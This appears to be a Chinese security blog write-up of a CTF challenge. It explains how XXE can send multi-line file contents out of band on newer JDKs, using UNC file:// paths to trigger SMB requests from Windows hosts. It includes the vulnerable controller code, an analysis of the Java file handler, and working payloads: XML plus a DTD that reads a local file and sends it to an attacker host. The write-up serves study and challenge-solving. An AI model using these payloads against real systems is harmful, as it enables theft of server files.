高版本JDK下无FTP的XXE OOB

最近通过学习到Killer师傅出的题Java-Puzzle/No-FTP-XXE at main · cwkiller/Java-Puzzle · GitHub

这里对XXE OOB的一个总结和浅显分析:

一般情况下XXE OOB的思路

传统的无回显XXE OOB中,http协议外带数据只携带单行的数据(不能有\n);一般来说,对于多行的数据外带一般有这几种方法:

1.php利用伪协议将内容编码外带

2.外部实体利用FTP协议带出多行内容

JDK>=8u131后失效,sun.net.ftp.impl.FtpClient#issueCommand检测到\n会抛出异常`

3.XXE报错注入

前提:服务器对异常的处理能够回显到响应包。原理等同于SQL报错注入,请求一个不存在的路径并拼接读取文件的实体参数,解析器会解析该实体参数并报错。

不出网情况下,需要找到本地环境的dtd,利用”xml中两个相同名称的实体,只有第一个会被使用”的特性进行覆盖。利用本地 DTD 文件进行 XXE 攻击 — Exploiting XXE with local DTD files

在PHP libxml环境下,也可以利用其自身语法带入xml作为”外部实体”,进而不用寻求环境中的dtd。

探索

题目代码存在XXE,但也将以上所有的选项都ban掉了。

public class BlindXxeController {
   @PostMapping({"/update-config"})
   public ResponseEntity<Map<String, Object>> updateSystemConfig(@RequestParam("configXml") String configXml, HttpServletRequest request) {
       Map<String, Object> response = new HashMap();

       try {
           CompletableFuture.runAsync(() -> {
               try {
                   SAXReader reader = new SAXReader();
                   Document document = reader.read(new StringReader(configXml));
                   this.processConfigDocument(document);
              } catch (DocumentException e) {
                   System.err.println("配置处理错误: " + e.getMessage());
              }

          });
           response.put("status", "success");
           response.put("message", "配置更新请求已提交,正在后台处理");
           return ResponseEntity.ok(response);
      } catch (Exception var5) {
           response.put("status", "error");
           response.put("message", "配置更新请求失败");
           response.put("error", "系统内部错误");
           return ResponseEntity.internalServerError().body(response);
      }
  }

   private void processConfigDocument(Document document) {
       try {
           Element root = document.getRootElement();
           List<Element> settings = root.elements("setting");

           for(Element setting : settings) {
               String name = setting.attributeValue("name");
               String value = setting.getTextTrim();
               System.out.println("更新配置: " + name + " = " + value);
          }

           System.out.println("配置处理完成,共处理 " + settings.size() + " 个配置项");
      } catch (Exception e) {
           System.err.println("配置处理异常: " + e.getMessage());
      }

  }

捕获所有异常,无法报错注入 ;JDK版本>8u131,FTP外带也不行。

image-20260102174938970

http/https协议的其它位置如@username在低版本无法带出\n后的数据,高版本直接报错。

jar协议的远程连接本质上就是调用的指向jar包的协议,如jar:http://host:port/file/to/path.jar

image-20260102182643412

mailto协议本身不携带任何数据进行连接,只会弹出一个邮箱api。

那么便只剩下file/netdoc协议了,这在一般的印象里似乎只能用于本地资源访问,最多只是出现过file://localhost/file/to/path这样的特殊写法。

果真如此吗?

其实翻阅文档 ,我们在RFC对于FILE的规范中可以看见:

image-20260103012052842
image-20260103012112937

(RFC 8089 – “文件” URI 方案 — RFC 8089 – The “file” URI Scheme)

FILE是支持UNC路径的,且一般有两种写法第一种是标准写法:file://host/path/to/file

第二种是先后兼容的写法:file:////host/path/to/file

UNC路径的利用正好对应题目的所使用windows系统(LINUX的标准API是不支持UNC访问的,在LINUX中访问同域的Windows一般需要用到smbclient命令 如何从Linux访问我的Windows管理共享? networking samba file-sharing – Dev59)

而UNC路径的访问在windows中底层实现默认对应走SMB协议。

应用程序请求 \\server\share
      ↓
┌─────────────────────────────┐
│   多重UNC提供程序 (MUP)     │ ← 路由中心
│   • 枚举所有注册的提供程序   │
│   • 按顺序尝试每个提供程序   │
└─────────────┬───────────────┘
            ↓
  ┌─────────────────┐
  │ 提供程序1: SMB   │ ← 默认优先
  │ 提供程序2: WebDAV│
  │ 提供程序3: NFS   │
  │ 提供程序4: FTP   │
  └─────────────────┘

由此,我们又找到了一条路径,能够让目标windows机,向我们的服务器发起携带数据的SMB请求。

那么SMB协议能否支持我们携带多行数据呢?

似乎是可以的,前面提到了,对UNC路径由什么协议发起请求是由windows决定的,自然对于针对路径的处理逻辑也会放在windows层,而深入到这个层面的API,对于\n的这种字符一般 不会那么敏感。

经过调试也确实如此 ,JAVA层对UNC路径没有如不允许\n类似这样的限制,具体的代码放在下面来说。

让我们回到XXE对其的利用上,我们能否直接在.dtd文件中利用UNC路径进行远程请求中呢?

   configXml = "<!DOCTYPE convert [\n" +
              "<!ENTITY % remote SYSTEM \"http://127.0.0.1:1111/evil.dtd\">\n" +
              "%remote;%int;%send;\n" +
              "]>";

evil.dtd

<!ENTITY % file SYSTEM "file:///D:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM ' \\127.0.0.1?p=%file;'>">

这时会报错 :

image-20260103004325420

这是因为XML解析器对于外部实体的连接,第一步一定是建立一个java.net.URL对象,而java.net.URL对象是不接受UNC路径的。

那么Java中的FILE协议是如何实现对UNC路径的请求的呢?

锁定解析FILE协议对应的Handler中:

image-20260103004714744

sun.net.www.protocol.file.Handler#openConnection()

image-20260103004732735

对FILE协议的处理流程大概是这样的:

接收 file:// 格式的URL → 解析主机和文件路径 → 判断是否为网络路径? → 是 → 尝试作为UNC路径访问 → 成功? → 是 → 返回文件URL连接
                                  ↓                                   ↓                     ↓
                                否                                   否                   否
                                  ↓                                   ↓                     ↓
                      作为本地文件处理 ←------------- 尝试作为FTP回退 ←---- 抛出IOException

对于FILE协议中的标准UNC写法,即file://host/file/to/path,且需host非”localhost”,会取出host及对应路径,拼接上\\,作为new File的入参:

image-20260103013342919
image-20260103013408814

(注:图一idea经典犯病了,,,var3在图2里是显示正确的)

java.io.File是接受解析UNC路径的, 它会调用java.io.WinNTFileSystem类去解析,并且整个解析过程都是直接去调native方法,没有过多的对路径的处理 ;java .io.File是能够接受\n作为路径一部分的。

image-20260103014516613

随后,真正建立连接的逻辑在

FileURLConnection#getInputStream()

->

FileURLConnection#connect():

image-20260103015814018

本质上就是利用路径建立一个FileInputStream,并从流中读取内容。真正校验文件是否存在、获取文件内容这些都是调用native方法;而在从FileInputStream接受UNC路径,到调用native的整个过程中,并没有对路径进行任何如对”\n”限制和处理,哪怕你输入一个错误的路径也会走到调用native方法,一切交给底层API去做。

payload

这便是Windows环境下高版本JDK无FTP的XXE OOB代码层面的一些分析,回到实际操作,我们的构造就变得简单了:

xml = "<!DOCTYPE convert [\n" +
      "<!ENTITY % remote SYSTEM \"http://127.0.0.1:9999/evil.dtd\">\n" +
      "%remote;%int;%send;\n" +
      "]>"

evil.dtd:

<!ENTITY % file SYSTEM "file:///D:/1.txt">
<!ENTITY % int "<!ENTITY send SYSTEM 'file://ip/share/%file;'>">

获取回显端可以使用GitHub – cwkiller/xxe-smb-server: 在xxe中使用smb外带多行内容

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇